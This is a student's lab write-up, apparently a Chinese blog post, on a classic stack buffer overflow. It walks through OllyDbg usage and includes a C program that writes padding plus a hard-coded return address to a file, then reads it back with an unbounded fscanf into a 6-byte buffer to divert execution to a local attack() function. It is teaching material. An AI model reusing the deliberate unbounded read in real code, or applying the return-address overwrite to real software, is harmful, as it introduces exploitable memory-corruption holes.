网上找的实验都没怎么理解,最后捣鼓出来了
参考博客:https://blog.csdn.net/fightte/article/details/109010953

原理

数据和地址是连续存储的,跳转地址可以被覆盖,当覆盖的内容为特定地址时就会跳转到特定的函数执行攻击

Ollydbg使用

F2 => 断点
F8 => 下一条语句
F9 => 执行到下一个断点
ctrl+F2 => 重新运行

找函数地址

我用的是吾爱的版本,没法直接在注释里面找到函数名
解决方法:在函数中输出语句,然后右键 => 中文搜索引擎 => 搜索ASCII => 找到你输出的语句并双击定位
函数入口都是 55 push ebp ,出口都是ret

代码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void attack()
{printf("This is attack.\n");       //attack函数
}
void func()                     //func函数
{char password[6] = "ABCDE";char str[6];FILE *fp;fp=fopen("D:\\test.txt","w+b");char s1=(char)0x00;char s2=(char)0x40;char s3=(char)0x15;char s4=(char)0xD0;//十六进制字符没法在记事本里编写//vscode的hex编辑器里面写可以写,但是文件末尾会多很多字节,没法指定覆盖//直接写字符串也是和vscode一样的问题//最后只好用文件读写完成,不知道有没有更好的办法//这里A的数量需要在Ollydbg里面断点看//最后四位时attack()的地址,需要倒着写(地址里面存放的时候时倒着的)fprintf(fp,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%c%c%c%c",s4,s3,s2,s1);fclose(fp);fp=fopen("D:\\test.txt","r");fscanf(fp,"%s",str);           //将str的内容写入fpstr[5]='\0';if(strcmp(str,password)==0)    //判断str是否与password相同printf("OK.\n");elseprintf("NO.\n");
}
int main()
{func();          //运行func函数return 0;
}

实验内容

(1)进入func()

(2)写入并读取文件

(3)Strcmp缓冲区溢出,覆盖原有命令


(4)Ret时跳转到attack()函数,实行攻击

4.输出攻击结果

网络安全实验 缓冲区栈溢出实验 Ollydbg相关推荐

  1. 使用Linux进行缓冲区溢出实验的配置记录

    在基础的软件安全实验中,缓冲区溢出是一个基础而又经典的问题.最基本的缓冲区溢出即通过合理的构造输入数据,使得输入数据量超过原始缓冲区的大小,从而覆盖数据输入缓冲区之外的数据,达到诸如修改函数返回地址等 ...

  2. 《网络安全协议》课程实验大纲

    <网络安全协议>课程实验大纲  <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:offi ...

  3. Kali学习笔记21:缓冲区溢出实验(漏洞发现)

    上一篇文章,我已经做好了缓冲区溢出实验的准备工作: https://www.cnblogs.com/xuyiqing/p/9835561.html 下面就是Kali虚拟机对缓冲区溢出的测试: 已经知道 ...

  4. 我的网络安全第三次实验汇报

    网络安全第三次实验汇报 一.SQL 注入(SQL Injection) 演示 SQL 注入 简单了解WEB项目 SQL 注入的原理(3个SQL语句) 从代码看 SQL 注入原理 何为预处理语句? 为什 ...

  5. Linux实验——缓冲区溢出漏洞实验

    Linux实验--缓冲区溢出漏洞实验 20125121 一.     实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代 ...

  6. 计算机系统实验-缓冲区炸弹

    计算机系统实验-缓冲区炸弹 概述 Trojan1 Trojan2 Trojan3 Trojan4 概述 攻击指令:0XDDDBBFFF #include <stdio.h> #includ ...

  7. HCIA(华为体系初级网络安全工程师)eNSP(基础实验二RIP实验)

    目录 实验要求:​ 实验内容及步骤: 步骤一:IP地址的划分及IP地址的配置 步骤二:配置RIP协议及进行宣告 步骤三:配置缺省路由及空接口 实验结果: 实验要求: 实验内容及步骤: 步骤一:IP地址 ...

  8. 北理计算机网络实验汇编,北理计算机与网络实验(II)(汇编语言实验4).docx

    本科实验报告 实验名称: 实验四 分支和循环实验 课程名称: 计算与网络实验(II) 实验时间: 任课教师: 实验地点: 10-102 实验教师: 高平 实验类型: ■ 原理验证 □ 综合设计 □ 自 ...

  9. java实验报告2013_java实验报告4

    Object eventSource = e.getSource(); if(eventSource == menuItem[0]) //新建动作 { textArea.setText("& ...

  10. 实验六——存储过程实验

    实验六--存储过程实验 一.实验题目 二.实验目的 三.实验过程 (一)准备数据表 (二)存储过程实验 [存储过程简介] [存储过程优点] 1.创建存储过程 2.查看存储过程 3.修改存储过程 4.删 ...

最新文章

  1. 是男人就下100层【第一层】——高仿微信界面(4)
  2. 【剑指offer-Java版】21包含min函数的栈
  3. 阿里巴巴 Kubernetes 能力再获 CNCF 认可 | 云原生生态周报 Vol. 32
  4. java设计模式_工厂方法
  5. zookeeper版本更新_ZooKeeper入门,看这篇就够了!
  6. 记一次程序员在办公室里的“撕逼”经历
  7. JIL 编译与 AOT 编译
  8. Shadow Properties之美(二)【Microsoft Entity Framework Core随笔】
  9. MySQL启动、连接,退出,关闭命令学习
  10. python __future__ 的几种特性
  11. POJ1061 青蛙的约会(拓展欧几里德)
  12. 研究黑洞内部的一种方法
  13. 如何将Eclipse的javaWeb项目改为IDEA的maven项目
  14. [原创]Javascript 利用mousetrap.js进行键盘事件操作
  15. 推荐21个高质量图片网站,免费免版权,值得收藏
  16. Xmanager的xbrowser登陆图形界面
  17. 数据挖掘流程总结及案例分析
  18. 描述CFAR算法原理
  19. 支付宝小程序获取php用户id,02支付宝小程序(基于知晓云)~如何获取用户ID
  20. java猫大叫一声_猫大叫一声,所有的老鼠都开始逃跑,主人被惊醒 | 学步园

热门文章

  1. notebook使用技巧
  2. process下载与使用
  3. Boost Graph Library
  4. Linux执行sql文件
  5. 软件可行性研究报告模板
  6. TFTP软件测试自学,tftp 安装方法
  7. 中英文字体对照 ueditor添加字体
  8. 读懂人工智能、机器学习、深度学习、大数据,自然语言处理……
  9. rtmp中flv和flv文件的区别
  10. tensorRt加速tensorflow模型推理(inception V3为例)